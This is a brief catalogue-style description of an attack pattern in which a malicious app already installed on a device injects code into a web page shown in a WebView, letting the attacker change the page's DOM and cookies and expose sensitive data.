An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.

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